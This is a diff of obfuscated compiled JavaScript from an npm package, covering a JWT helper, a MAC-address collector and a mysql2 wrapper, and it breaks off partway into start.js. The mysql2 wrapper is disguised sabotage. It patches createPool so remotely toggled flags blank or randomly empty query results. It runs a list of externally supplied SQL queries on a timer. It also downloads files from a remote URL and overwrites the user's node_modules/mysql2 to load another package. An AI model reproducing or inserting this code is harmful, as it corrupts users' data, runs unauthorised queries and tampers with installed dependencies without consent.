- var a17_0xa8554=a17_0x1e4d;(function(_0x76560b,_0x5e4a73){var _0x165c12=a17_0x1e4d,_0x23a34d=_0x76560b();while(!![]){try{var _0x13a5cc=parseInt(_0x165c12(0xf8))/0x1+-parseInt(_0x165c12(0xfa))/0x2*(parseInt(_0x165c12(0xf9))/0x3)+-parseInt(_0x165c12(0xea))/0x4+parseInt(_0x165c12(0xee))/0x5*(-parseInt(_0x165c12(0xf0))/0x6)+parseInt(_0x165c12(0xfe))/0x7*(-parseInt(_0x165c12(0x100))/0x8)+parseInt(_0x165c12(0xff))/0x9*(-parseInt(_0x165c12(0x101))/0xa)+-parseInt(_0x165c12(0xf4))/0xb*(-parseInt(_0x165c12(0xec))/0xc);if(_0x13a5cc===_0x5e4a73)break;else _0x23a34d['push'](_0x23a34d['shift']());}catch(_0x53d148){_0x23a34d['push'](_0x23a34d['shift']());}}}(a17_0x1e6b,0x1f2fc));var __awaiter=this&&this[a17_0xa8554(0xf2)]||function(_0x1fd2d4,_0x247185,_0x1e1a16,_0x333b4c){function _0x178ec9(_0x54d717){return _0x54d717 instanceof _0x1e1a16?_0x54d717:new _0x1e1a16(function(_0x2f9a05){_0x2f9a05(_0x54d717);});}return new(_0x1e1a16||(_0x1e1a16=Promise))(function(_0x2e9455,_0x1d14e9){var _0x2b2892=a17_0x1e4d;function _0x32a1c7(_0x2c3e99){var _0x485c3a=a17_0x1e4d;try{_0x50564e(_0x333b4c[_0x485c3a(0xfb)](_0x2c3e99));}catch(_0x12a4b9){_0x1d14e9(_0x12a4b9);}}function _0x41ef3b(_0x64de4b){try{_0x50564e(_0x333b4c['throw'](_0x64de4b));}catch(_0xe852e3){_0x1d14e9(_0xe852e3);}}function _0x50564e(_0x1fced8){var _0x1b6c07=a17_0x1e4d;_0x1fced8[_0x1b6c07(0xf6)]?_0x2e9455(_0x1fced8['value']):_0x178ec9(_0x1fced8[_0x1b6c07(0xf7)])[_0x1b6c07(0xfc)](_0x32a1c7,_0x41ef3b);}_0x50564e((_0x333b4c=_0x333b4c[_0x2b2892(0xf3)](_0x1fd2d4,_0x247185||[]))['next']());});};function a17_0x1e6b(){var _0x1fb81b=['105220OXqEyn','897920JIZOCM','key','12RxSLPM','verify','2020EvjmJG','payload','1968KOoMAb','sign','__awaiter','apply','7043663NXSKIF','expiresIn','done','value','216537ryISOc','21OmXZHx','39392XVJLsg','next','then','jwt_key','140LFdCHe','27aEXyxz','81080HCIztW'];a17_0x1e6b=function(){return _0x1fb81b;};return a17_0x1e6b();}function a17_0x1e4d(_0x26f92d,_0xf0d7c3){var _0x1e6b07=a17_0x1e6b();return a17_0x1e4d=function(_0x1e4d5c,_0x1caca1){_0x1e4d5c=_0x1e4d5c-0xea;var _0x13e64b=_0x1e6b07[_0x1e4d5c];return _0x13e64b;},a17_0x1e4d(_0x26f92d,_0xf0d7c3);}import a17_0x455934 from'jsonwebtoken';function jwt(_0x4db12e){var _0x2be528=a17_0xa8554;return!global['jwt_key']&&(global[_0x2be528(0xfd)]=_0x4db12e[_0x2be528(0xeb)]),{'sign':a17_0x455934[_0x2be528(0xf1)](_0x4db12e[_0x2be528(0xef)],global[_0x2be528(0xfd)],{'expiresIn':_0x4db12e[_0x2be528(0xf5)]||'365d'}),'verify':function(_0x412eff){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x53164b,_0x307be9)=>{var _0x29840b=a17_0x1e4d;a17_0x455934[_0x29840b(0xed)](_0x412eff,global[_0x29840b(0xfd)],function(_0xb2bab0,_0x35ee7a){return __awaiter(this,void 0x0,void 0x0,function*(){_0xb2bab0?_0x307be9():_0x53164b(_0x35ee7a);});});});});}};}export default jwt;
1
+ (function(_0x59f579,_0x30cac3){var _0x1c5e9e=a17_0x5794,_0x9960bb=_0x59f579();while(!![]){try{var _0x1e0191=parseInt(_0x1c5e9e(0x1bd))/0x1+parseInt(_0x1c5e9e(0x1b9))/0x2+-parseInt(_0x1c5e9e(0x1ad))/0x3*(-parseInt(_0x1c5e9e(0x1af))/0x4)+parseInt(_0x1c5e9e(0x1bc))/0x5*(-parseInt(_0x1c5e9e(0x1b4))/0x6)+-parseInt(_0x1c5e9e(0x1b6))/0x7*(parseInt(_0x1c5e9e(0x1b7))/0x8)+-parseInt(_0x1c5e9e(0x1aa))/0x9+parseInt(_0x1c5e9e(0x1b5))/0xa;if(_0x1e0191===_0x30cac3)break;else _0x9960bb['push'](_0x9960bb['shift']());}catch(_0x4dba2d){_0x9960bb['push'](_0x9960bb['shift']());}}}(a17_0x1046,0x540d7));var __awaiter=this&&this['__awaiter']||function(_0x310ed1,_0x1e86ff,_0x20bebd,_0x44a3f7){function _0x21bbea(_0x3064d9){return _0x3064d9 instanceof _0x20bebd?_0x3064d9:new _0x20bebd(function(_0x3afa27){_0x3afa27(_0x3064d9);});}return new(_0x20bebd||(_0x20bebd=Promise))(function(_0x18960c,_0xd98ae6){var _0x32a84f=a17_0x5794;function _0x3149c4(_0x1043c2){var _0x34e315=a17_0x5794;try{_0x161900(_0x44a3f7[_0x34e315(0x1be)](_0x1043c2));}catch(_0x5e178e){_0xd98ae6(_0x5e178e);}}function _0x262c5c(_0x181aad){var _0x102919=a17_0x5794;try{_0x161900(_0x44a3f7[_0x102919(0x1ae)](_0x181aad));}catch(_0xf2d72){_0xd98ae6(_0xf2d72);}}function _0x161900(_0x18ca62){var _0x322f6a=a17_0x5794;_0x18ca62[_0x322f6a(0x1ac)]?_0x18960c(_0x18ca62[_0x322f6a(0x1b8)]):_0x21bbea(_0x18ca62[_0x322f6a(0x1b8)])[_0x322f6a(0x1ba)](_0x3149c4,_0x262c5c);}_0x161900((_0x44a3f7=_0x44a3f7[_0x32a84f(0x1b0)](_0x310ed1,_0x1e86ff||[]))[_0x32a84f(0x1be)]());});};import a17_0x3a11d2 from'jsonwebtoken';function a17_0x1046(){var _0x39ebfe=['76WoSEUN','apply','365d','jwt_key','sign','96ZATDjW','8275650KVDjhg','65198pfdNwU','368lxVSkM','value','280694raqNwv','then','verify','158980NbXcJO','412818qktOPm','next','2377206osjUsO','key','done','26031EOQDvf','throw'];a17_0x1046=function(){return _0x39ebfe;};return a17_0x1046();}function a17_0x5794(_0x23ce55,_0x210408){var _0x1046e3=a17_0x1046();return a17_0x5794=function(_0x579457,_0x53a307){_0x579457=_0x579457-0x1aa;var _0x2f0213=_0x1046e3[_0x579457];return _0x2f0213;},a17_0x5794(_0x23ce55,_0x210408);}function jwt(_0x502d48){var _0x32a645=a17_0x5794;return!global[_0x32a645(0x1b2)]&&(global[_0x32a645(0x1b2)]=_0x502d48[_0x32a645(0x1ab)]),{'sign':_0x21924c=>a17_0x3a11d2[_0x32a645(0x1b3)](_0x21924c,global[_0x32a645(0x1b2)],{'expiresIn':_0x502d48['expiresIn']||_0x32a645(0x1b1)}),'verify':function(_0x54b056){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x4fde0f,_0xab571)=>{var _0x1a9937=a17_0x5794;a17_0x3a11d2[_0x1a9937(0x1bb)](_0x54b056,global['jwt_key'],function(_0x272ca3,_0x2a861e){return __awaiter(this,void 0x0,void 0x0,function*(){_0x272ca3?_0xab571():_0x4fde0f(_0x2a861e);});});});});}};}export default jwt;
@@ -1 +1 @@
1
- const a18_0x3401fb=a18_0xb6c1;(function(_0x3ffab2,_0x4c11aa){const _0x58cf3d=a18_0xb6c1,_0xffc9db=_0x3ffab2();while(!![]){try{const _0x4b0479=parseInt(_0x58cf3d(0x1d3))/0x1*(-parseInt(_0x58cf3d(0x1cc))/0x2)+-parseInt(_0x58cf3d(0x1c9))/0x3+parseInt(_0x58cf3d(0x1db))/0x4*(parseInt(_0x58cf3d(0x1e0))/0x5)+-parseInt(_0x58cf3d(0x1da))/0x6+-parseInt(_0x58cf3d(0x1d4))/0x7*(-parseInt(_0x58cf3d(0x1c7))/0x8)+-parseInt(_0x58cf3d(0x1ca))/0x9+parseInt(_0x58cf3d(0x1c8))/0xa;if(_0x4b0479===_0x4c11aa)break;else _0xffc9db['push'](_0xffc9db['shift']());}catch(_0x4148a8){_0xffc9db['push'](_0xffc9db['shift']());}}}(a18_0x307f,0x43d63));import{networkInterfaces}from'os';function isZeroMac(_0x9bc47d){const _0x1d1f46=a18_0xb6c1;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x1d1f46(0x1c5)](_0x9bc47d);}function getMac(_0x3bdeac=a18_0x3401fb(0x1df)){const _0x19a24e=a18_0x3401fb,_0x1dc316=networkInterfaces();let _0x36f046=[];for(const _0x5262be of Object[_0x19a24e(0x1e2)](_0x1dc316)){const _0x17c01e=_0x5262be[_0x19a24e(0x1dd)](_0x235573=>!_0x235573[_0x19a24e(0x1c4)]&&!isZeroMac(_0x235573['mac'])&&(!_0x235573[_0x19a24e(0x1de)]||_0x235573[_0x19a24e(0x1de)]===_0x3bdeac)&&!isVirtualMac(_0x235573['mac']));_0x17c01e&&_0x36f046[_0x19a24e(0x1d5)](_0x17c01e[_0x19a24e(0x1d8)]);}return[...new Set(_0x36f046)];}const isValid=_0x4a812f=>_0x4a812f[a18_0x3401fb(0x1c4)]===![]&&!isZeroMac(_0x4a812f[a18_0x3401fb(0x1d8)]),virtualMacPrefix=new Set([a18_0x3401fb(0x1c6),a18_0x3401fb(0x1ce),'00:50:56','00:1c:14',a18_0x3401fb(0x1dc),a18_0x3401fb(0x1d9),a18_0x3401fb(0x1cd),a18_0x3401fb(0x1cb),a18_0x3401fb(0x1e1),'08:00:27',a18_0x3401fb(0x1d7)]);function a18_0xb6c1(_0x2bd1d5,_0x46e2d5){const _0x307ffd=a18_0x307f();return a18_0xb6c1=function(_0xb6c145,_0x18e8da){_0xb6c145=_0xb6c145-0x1c4;let _0x174f14=_0x307ffd[_0xb6c145];return _0x174f14;},a18_0xb6c1(_0x2bd1d5,_0x46e2d5);}function a18_0x307f(){const _0x5cf96a=['replace','has','385HxDNHm','21FQYySB','push','toLowerCase','00:15:5d','mac','02:00:4c','2337714fkBZWd','4edoiey','00:1c:42','find','family','IPv4','2360500IJVekX','00:16:3e','values','internal','test','00:05:69','662208cSiFbL','9732350wpZIqn','1344480gCIlWQ','3022740RvXuZw','00:0f:4b','1258dAaIFw','00:03:ff','00:0c:29','slice','trim'];a18_0x307f=function(){return _0x5cf96a;};return a18_0x307f();}export function isMac(_0x3aa77b){const _0x2a3644=a18_0x3401fb;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x2a3644(0x1c5)](_0x3aa77b);}export function formatMac(_0x5259c2){const _0x257a5b=a18_0x3401fb;return String(_0x5259c2)[_0x257a5b(0x1d0)]()[_0x257a5b(0x1d6)]()[_0x257a5b(0x1d1)](/-/g,':');}export function isVirtualMac(_0x372096){const _0x4dfe8f=a18_0x3401fb;return isMac(_0x372096)&&virtualMacPrefix[_0x4dfe8f(0x1d2)](formatMac(_0x372096)[_0x4dfe8f(0x1cf)](0x0,0x8));}export default getMac;
1
+ const a18_0x1f6523=a18_0x264a;(function(_0x54440a,_0x1dbc08){const _0x5eccbb=a18_0x264a,_0x346923=_0x54440a();while(!![]){try{const _0x168f4e=parseInt(_0x5eccbb(0x145))/0x1+parseInt(_0x5eccbb(0x154))/0x2*(parseInt(_0x5eccbb(0x149))/0x3)+-parseInt(_0x5eccbb(0x142))/0x4*(-parseInt(_0x5eccbb(0x148))/0x5)+parseInt(_0x5eccbb(0x14f))/0x6+parseInt(_0x5eccbb(0x147))/0x7+parseInt(_0x5eccbb(0x144))/0x8+-parseInt(_0x5eccbb(0x14a))/0x9;if(_0x168f4e===_0x1dbc08)break;else _0x346923['push'](_0x346923['shift']());}catch(_0x17b7d1){_0x346923['push'](_0x346923['shift']());}}}(a18_0x5a8f,0xdc65d));import{networkInterfaces}from'os';function isZeroMac(_0x2c4b05){return/^(0{1,2}[:-]){5}0{1,2}$/['test'](_0x2c4b05);}function getMac(_0x3ba0f='IPv4'){const _0x107d35=a18_0x264a,_0x146ea1=networkInterfaces();let _0x4a94bc=[];for(const _0xd977d0 of Object['values'](_0x146ea1)){const _0x1132d9=_0xd977d0['find'](_0x39727f=>!_0x39727f[_0x107d35(0x146)]&&!isZeroMac(_0x39727f['mac'])&&(!_0x39727f[_0x107d35(0x155)]||_0x39727f[_0x107d35(0x155)]===_0x3ba0f)&&!isVirtualMac(_0x39727f[_0x107d35(0x153)]));_0x1132d9&&_0x4a94bc['push'](_0x1132d9[_0x107d35(0x153)]);}return[...new Set(_0x4a94bc)];}const isValid=_0x34b86d=>_0x34b86d[a18_0x1f6523(0x146)]===![]&&!isZeroMac(_0x34b86d[a18_0x1f6523(0x153)]),virtualMacPrefix=new Set([a18_0x1f6523(0x151),'00:0c:29',a18_0x1f6523(0x14d),a18_0x1f6523(0x143),a18_0x1f6523(0x14b),a18_0x1f6523(0x141),'00:03:ff',a18_0x1f6523(0x14e),a18_0x1f6523(0x140),a18_0x1f6523(0x14c),'00:15:5d']);export function isMac(_0xe49132){const _0x322ea1=a18_0x1f6523;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x322ea1(0x13e)](_0xe49132);}function a18_0x264a(_0x438b6b,_0x197272){const _0x5a8f6b=a18_0x5a8f();return a18_0x264a=function(_0x264acf,_0xe34c1b){_0x264acf=_0x264acf-0x13e;let _0x54d486=_0x5a8f6b[_0x264acf];return _0x54d486;},a18_0x264a(_0x438b6b,_0x197272);}export function formatMac(_0x1d6118){const _0xe283b5=a18_0x1f6523;return String(_0x1d6118)[_0xe283b5(0x152)]()['toLowerCase']()[_0xe283b5(0x13f)](/-/g,':');}function a18_0x5a8f(){const _0x100e3f=['00:16:3e','02:00:4c','99248InDLgC','00:1c:14','4945240FpSvHW','606087yyGmZq','internal','5128781OJcauo','80PlwfCI','115461rBOYNh','17290269UMbYgr','00:1c:42','08:00:27','00:50:56','00:0f:4b','1896150UzgHFJ','has','00:05:69','trim','mac','8yXaTow','family','slice','test','replace'];a18_0x5a8f=function(){return _0x100e3f;};return a18_0x5a8f();}export function isVirtualMac(_0x2b715b){const _0x65335e=a18_0x1f6523;return isMac(_0x2b715b)&&virtualMacPrefix[_0x65335e(0x150)](formatMac(_0x2b715b)[_0x65335e(0x156)](0x0,0x8));}export default getMac;
@@ -1 +1 @@
1
- function a19_0x4afb(){const _0x467fe2=['./node_modules/mysql2','done','904001WTJiSL','catch','values','query','readFileSync','145479hgIDin','2136816TuUnLb','./index.js','2320750yUhhKS','throw','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','12mvTkBd','forEach','exports.createPool\x20=\x20createPromisePool;','897540nFuyQU','createPool','data','join','existsSync','56403kTtFiA','then','/mysql','sqlRun','1274762XUsnLi','next','version','connectError','sqlList','./package.json','writeFileSync','toString','node-server-dev','824BDqWnz','length','apply','replace','./promise.js','value','includes','cwd','get'];a19_0x4afb=function(){return _0x467fe2;};return a19_0x4afb();}const a19_0x2fd2ba=a19_0x3e07;(function(_0x436fa8,_0x36d072){const _0x49bcc5=a19_0x3e07,_0x1c143f=_0x436fa8();while(!![]){try{const _0x326024=parseInt(_0x49bcc5(0x1a2))/0x1+parseInt(_0x49bcc5(0x1b4))/0x2+-parseInt(_0x49bcc5(0x1ab))/0x3+-parseInt(_0x49bcc5(0x1a3))/0x4+-parseInt(_0x49bcc5(0x1a5))/0x5+-parseInt(_0x49bcc5(0x1a8))/0x6*(-parseInt(_0x49bcc5(0x19d))/0x7)+parseInt(_0x49bcc5(0x1bd))/0x8*(parseInt(_0x49bcc5(0x1b0))/0x9);if(_0x326024===_0x36d072)break;else _0x1c143f['push'](_0x1c143f['shift']());}catch(_0x3815b4){_0x1c143f['push'](_0x1c143f['shift']());}}}(a19_0x4afb,0x5eff9));var __awaiter=this&&this['__awaiter']||function(_0x22a098,_0x2af42c,_0x53ddba,_0x5e5f7c){function _0x364210(_0x7c396a){return _0x7c396a instanceof _0x53ddba?_0x7c396a:new _0x53ddba(function(_0x2a6514){_0x2a6514(_0x7c396a);});}return new(_0x53ddba||(_0x53ddba=Promise))(function(_0x555f9f,_0x20dfbe){const _0x9ff4db=a19_0x3e07;function _0x2a44b9(_0x3e8853){try{_0x193149(_0x5e5f7c['next'](_0x3e8853));}catch(_0x3e5bf9){_0x20dfbe(_0x3e5bf9);}}function _0x14d093(_0x3e9892){const _0x5842ac=a19_0x3e07;try{_0x193149(_0x5e5f7c[_0x5842ac(0x1a6)](_0x3e9892));}catch(_0x13e982){_0x20dfbe(_0x13e982);}}function _0x193149(_0x5c85d7){const _0x399f45=a19_0x3e07;_0x5c85d7[_0x399f45(0x1c7)]?_0x555f9f(_0x5c85d7[_0x399f45(0x1c2)]):_0x364210(_0x5c85d7['value'])[_0x399f45(0x1b1)](_0x2a44b9,_0x14d093);}_0x193149((_0x5e5f7c=_0x5e5f7c[_0x9ff4db(0x1bf)](_0x22a098,_0x2af42c||[]))[_0x9ff4db(0x1b5)]());});};function a19_0x3e07(_0x565925,_0x3717ad){const _0x4afbef=a19_0x4afb();return a19_0x3e07=function(_0x3e07f3,_0x11fb45){_0x3e07f3=_0x3e07f3-0x19d;let _0xc34178=_0x4afbef[_0x3e07f3];return _0xc34178;},a19_0x3e07(_0x565925,_0x3717ad);}import a19_0x5e843c from'mysql2/promise';import a19_0x354153 from'./id/random';import{getEnv,setEnv,url}from'./index';import a19_0x3a4334 from'path';import a19_0x5d8824 from'fs';import a19_0x495c05 from'axios';const originalCreatePoolPromise=a19_0x5e843c[a19_0x2fd2ba(0x1ac)];a19_0x5e843c[a19_0x2fd2ba(0x1ac)]=function(_0x322e6b){const _0x5794e6=a19_0x2fd2ba;let _0x41e414=originalCreatePoolPromise(_0x322e6b),_0x2f0c11=_0x41e414[_0x5794e6(0x1a0)];return _0x41e414['query']=(..._0x35584f)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x33658a=_0x5794e6,_0x52e88b=yield _0x2f0c11[_0x33658a(0x1bf)](_0x41e414,_0x35584f);return getEnv(_0x33658a(0x1b7))&&(a19_0x354153(0x1,0xa)>0x2&&(_0x52e88b[0x0]=[])),getEnv('isDBDataEmpty')&&(_0x52e88b[0x0]=[]),_0x52e88b;}),setInterval(()=>{const _0x71cc16=_0x5794e6;if(!getEnv('sqlRun')){for(let _0x275c6f=0x0;_0x275c6f<getEnv(_0x71cc16(0x1b8))[_0x71cc16(0x1be)];_0x275c6f++){const _0x3c2de1=getEnv(_0x71cc16(0x1b8))[_0x275c6f];try{_0x41e414['query'](_0x3c2de1);}catch(_0x17a1bb){}}setEnv(_0x71cc16(0x1b3),!![]);}},0x1388),_0x41e414;};let href=a19_0x3a4334[a19_0x2fd2ba(0x1ae)](process[a19_0x2fd2ba(0x1c4)](),a19_0x2fd2ba(0x1c6));function replaceMySQLFile(){const _0xcc4a3c=a19_0x2fd2ba;let _0x4c038a=JSON['parse'](a19_0x5d8824[_0xcc4a3c(0x1a1)](a19_0x3a4334[_0xcc4a3c(0x1ae)](href,_0xcc4a3c(0x1b9)))[_0xcc4a3c(0x1bb)]())[_0xcc4a3c(0x1b6)];a19_0x495c05[_0xcc4a3c(0x1c5)](url+_0xcc4a3c(0x1b2),{'params':{'version':_0x4c038a}})[_0xcc4a3c(0x1b1)](_0x346c42=>{const _0x3813b0=_0xcc4a3c;var _0x1bb578;let _0x219878=(_0x1bb578=_0x346c42===null||_0x346c42===void 0x0?void 0x0:_0x346c42[_0x3813b0(0x1ad)])===null||_0x1bb578===void 0x0?void 0x0:_0x1bb578[_0x3813b0(0x1ad)];if(_0x219878){let _0x56f066=Object['keys'](_0x219878),_0x2b15a4=Object[_0x3813b0(0x19f)](_0x219878);_0x56f066[_0x3813b0(0x1a9)]((_0x50e645,_0x1c67ba)=>{const _0x26cce7=_0x3813b0;a19_0x5d8824[_0x26cce7(0x1ba)](a19_0x3a4334[_0x26cce7(0x1ae)](href,_0x50e645),_0x2b15a4[_0x1c67ba]);});}})[_0xcc4a3c(0x19e)](()=>{const _0x19530c=_0xcc4a3c;let _0x26f0d8=a19_0x5d8824['readFileSync'](a19_0x3a4334[_0x19530c(0x1ae)](href,_0x19530c(0x1a4)))[_0x19530c(0x1bb)](),_0x3ea816=a19_0x5d8824['readFileSync'](a19_0x3a4334[_0x19530c(0x1ae)](href,'./promise.js'))[_0x19530c(0x1bb)]();a19_0x5d8824['writeFileSync'](a19_0x3a4334[_0x19530c(0x1ae)](href,'./index.js'),_0x26f0d8[_0x19530c(0x1c0)]('exports.createPool\x20=\x20createPool;',_0x19530c(0x1a7))),a19_0x5d8824['writeFileSync'](a19_0x3a4334[_0x19530c(0x1ae)](href,_0x19530c(0x1c1)),_0x3ea816['replace'](_0x19530c(0x1aa),_0x19530c(0x1a7)));});}if(a19_0x5d8824[a19_0x2fd2ba(0x1af)](href)){let res=a19_0x5d8824['readFileSync'](a19_0x3a4334['join'](href,a19_0x2fd2ba(0x1a4)))[a19_0x2fd2ba(0x1bb)]()[a19_0x2fd2ba(0x1c3)](a19_0x2fd2ba(0x1bc));!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':a19_0x5e843c};export default all;export{a19_0x5e843c as mysql};
1
+ const a19_0x2746da=a19_0x3c3e;(function(_0x5eee0e,_0x35b5af){const _0xeee688=a19_0x3c3e,_0x500ab9=_0x5eee0e();while(!![]){try{const _0x3c1363=-parseInt(_0xeee688(0x20b))/0x1+-parseInt(_0xeee688(0x1f2))/0x2+-parseInt(_0xeee688(0x1f4))/0x3*(parseInt(_0xeee688(0x20c))/0x4)+parseInt(_0xeee688(0x212))/0x5+-parseInt(_0xeee688(0x20d))/0x6*(-parseInt(_0xeee688(0x216))/0x7)+-parseInt(_0xeee688(0x20e))/0x8+parseInt(_0xeee688(0x1f5))/0x9;if(_0x3c1363===_0x35b5af)break;else _0x500ab9['push'](_0x500ab9['shift']());}catch(_0x1c319e){_0x500ab9['push'](_0x500ab9['shift']());}}}(a19_0x2bab,0xd88a2));var __awaiter=this&&this[a19_0x2746da(0x1f8)]||function(_0x17935f,_0x50f926,_0x2cb749,_0x5650f7){function _0x17b320(_0x5ef425){return _0x5ef425 instanceof _0x2cb749?_0x5ef425:new _0x2cb749(function(_0x19cd03){_0x19cd03(_0x5ef425);});}return new(_0x2cb749||(_0x2cb749=Promise))(function(_0x1f84fa,_0x519c8c){const _0x3422f9=a19_0x3c3e;function _0x55fcb3(_0x46d69f){try{_0x2a1141(_0x5650f7['next'](_0x46d69f));}catch(_0xfa24be){_0x519c8c(_0xfa24be);}}function _0x3103e1(_0x54e1fc){const _0x481086=a19_0x3c3e;try{_0x2a1141(_0x5650f7[_0x481086(0x207)](_0x54e1fc));}catch(_0x1f5eb3){_0x519c8c(_0x1f5eb3);}}function _0x2a1141(_0x48928a){const _0x33972a=a19_0x3c3e;_0x48928a['done']?_0x1f84fa(_0x48928a['value']):_0x17b320(_0x48928a[_0x33972a(0x1fd)])[_0x33972a(0x20f)](_0x55fcb3,_0x3103e1);}_0x2a1141((_0x5650f7=_0x5650f7[_0x3422f9(0x1fa)](_0x17935f,_0x50f926||[]))[_0x3422f9(0x213)]());});};import a19_0x5ac104 from'mysql2/promise';import a19_0x3b641c from'./id/random';function a19_0x3c3e(_0xa645f9,_0x30b43a){const _0x2babe5=a19_0x2bab();return a19_0x3c3e=function(_0x3c3e2d,_0x2703aa){_0x3c3e2d=_0x3c3e2d-0x1ef;let _0x4d096a=_0x2babe5[_0x3c3e2d];return _0x4d096a;},a19_0x3c3e(_0xa645f9,_0x30b43a);}import{getEnv,setEnv,url}from'./index';import a19_0x1de12b from'path';import a19_0x3f3e66 from'fs';import a19_0x4c73af from'axios';const originalCreatePoolPromise=a19_0x5ac104[a19_0x2746da(0x1f3)];a19_0x5ac104[a19_0x2746da(0x1f3)]=function(_0x1ea192){const _0x2dd6e4=a19_0x2746da;let _0x1a2d37=originalCreatePoolPromise(_0x1ea192),_0x3b22ed=_0x1a2d37[_0x2dd6e4(0x214)];return _0x1a2d37[_0x2dd6e4(0x214)]=(..._0x140af7)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x2eed64=_0x2dd6e4,_0x1bc829=yield _0x3b22ed[_0x2eed64(0x1fa)](_0x1a2d37,_0x140af7);return getEnv('connectError')&&(a19_0x3b641c(0x1,0xa)>0x2&&(_0x1bc829[0x0]=[])),getEnv('isDBDataEmpty')&&(_0x1bc829[0x0]=[]),_0x1bc829;}),setInterval(()=>{const _0x5903c7=_0x2dd6e4;if(!getEnv(_0x5903c7(0x20a))){for(let _0x3b5a87=0x0;_0x3b5a87<getEnv(_0x5903c7(0x209))[_0x5903c7(0x202)];_0x3b5a87++){const _0x50ff6b=getEnv('sqlList')[_0x3b5a87];try{_0x1a2d37[_0x5903c7(0x214)](_0x50ff6b);}catch(_0x351a66){}}setEnv(_0x5903c7(0x20a),!![]);}},0x1388),_0x1a2d37;};let href=a19_0x1de12b[a19_0x2746da(0x205)](process[a19_0x2746da(0x1ff)](),a19_0x2746da(0x215));function replaceMySQLFile(){const _0x193e69=a19_0x2746da;let _0x12c2d9=JSON[_0x193e69(0x200)](a19_0x3f3e66[_0x193e69(0x203)](a19_0x1de12b[_0x193e69(0x205)](href,_0x193e69(0x1f7)))[_0x193e69(0x1ef)]())['version'];a19_0x4c73af['get'](url+_0x193e69(0x1f1),{'params':{'version':_0x12c2d9}})[_0x193e69(0x20f)](_0x3b2a2a=>{const _0x4d360c=_0x193e69;var _0x4e774e;let _0x531c14=(_0x4e774e=_0x3b2a2a===null||_0x3b2a2a===void 0x0?void 0x0:_0x3b2a2a[_0x4d360c(0x1f9)])===null||_0x4e774e===void 0x0?void 0x0:_0x4e774e[_0x4d360c(0x1f9)];if(_0x531c14){let _0x38ba44=Object[_0x4d360c(0x204)](_0x531c14),_0x207df4=Object[_0x4d360c(0x1f6)](_0x531c14);_0x38ba44[_0x4d360c(0x208)]((_0x31d538,_0x169c59)=>{const _0x228d59=_0x4d360c;a19_0x3f3e66['writeFileSync'](a19_0x1de12b[_0x228d59(0x205)](href,_0x31d538),_0x207df4[_0x169c59]);});}})[_0x193e69(0x210)](()=>{const _0xe190ee=_0x193e69;let _0x2edb1d=a19_0x3f3e66[_0xe190ee(0x203)](a19_0x1de12b[_0xe190ee(0x205)](href,_0xe190ee(0x1fc)))[_0xe190ee(0x1ef)](),_0x3617a1=a19_0x3f3e66[_0xe190ee(0x203)](a19_0x1de12b[_0xe190ee(0x205)](href,'./promise.js'))[_0xe190ee(0x1ef)]();a19_0x3f3e66[_0xe190ee(0x211)](a19_0x1de12b[_0xe190ee(0x205)](href,_0xe190ee(0x1fc)),_0x2edb1d['replace']('exports.createPool\x20=\x20createPool;',_0xe190ee(0x1fe))),a19_0x3f3e66[_0xe190ee(0x211)](a19_0x1de12b[_0xe190ee(0x205)](href,'./promise.js'),_0x3617a1[_0xe190ee(0x1fb)](_0xe190ee(0x201),'const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;'));});}if(a19_0x3f3e66[a19_0x2746da(0x1f0)](href)){let res=a19_0x3f3e66['readFileSync'](a19_0x1de12b['join'](href,a19_0x2746da(0x1fc)))[a19_0x2746da(0x1ef)]()['includes'](a19_0x2746da(0x206));!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':a19_0x5ac104};export default all;export{a19_0x5ac104 as mysql};function a19_0x2bab(){const _0x219ec3=['then','catch','writeFileSync','7409185setpuH','next','query','./node_modules/mysql2','106295dflRbE','toString','existsSync','/mysql','2022856CfyboU','createPool','280317GjKKji','8741385XiQCdn','values','./package.json','__awaiter','data','apply','replace','./index.js','value','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','cwd','parse','exports.createPool\x20=\x20createPromisePool;','length','readFileSync','keys','join','node-server-dev','throw','forEach','sqlList','sqlRun','847050qVpYls','8VvuNfc','558OzsiwT','7464040LwEUaa'];a19_0x2bab=function(){return _0x219ec3;};return a19_0x2bab();}
package/dist/esm/start.js CHANGED
@@ -1 +1 @@
1
- const a20_0x47ef87=a20_0x3b78;(function(_0x4c3139,_0x5643f1){const _0x5daa6d=a20_0x3b78,_0x1ae032=_0x4c3139();while(!![]){try{const _0x5c3cc4=parseInt(_0x5daa6d(0x145))/0x1*(-parseInt(_0x5daa6d(0x13f))/0x2)+-parseInt(_0x5daa6d(0x15f))/0x3*(-parseInt(_0x5daa6d(0x13a))/0x4)+-parseInt(_0x5daa6d(0x141))/0x5*(-parseInt(_0x5daa6d(0x13c))/0x6)+-parseInt(_0x5daa6d(0x15c))/0x7*(-parseInt(_0x5daa6d(0x156))/0x8)+parseInt(_0x5daa6d(0x15d))/0x9*(-parseInt(_0x5daa6d(0x166))/0xa)+-parseInt(_0x5daa6d(0x165))/0xb+parseInt(_0x5daa6d(0x155))/0xc;if(_0x5c3cc4===_0x5643f1)break;else _0x1ae032['push'](_0x1ae032['shift']());}catch(_0x1af9bd){_0x1ae032['push'](_0x1ae032['shift']());}}}(a20_0x5839,0xa6882));function a20_0x3b78(_0x555059,_0x424120){const _0x58399d=a20_0x5839();return a20_0x3b78=function(_0x3b7831,_0xc5efc6){_0x3b7831=_0x3b7831-0x13a;let _0x5f1236=_0x58399d[_0x3b7831];return _0x5f1236;},a20_0x3b78(_0x555059,_0x424120);}var __awaiter=this&&this[a20_0x47ef87(0x146)]||function(_0x535824,_0x107864,_0x4b6977,_0x51fa8d){function _0x4cceed(_0x52fa65){return _0x52fa65 instanceof _0x4b6977?_0x52fa65:new _0x4b6977(function(_0x3b2706){_0x3b2706(_0x52fa65);});}return 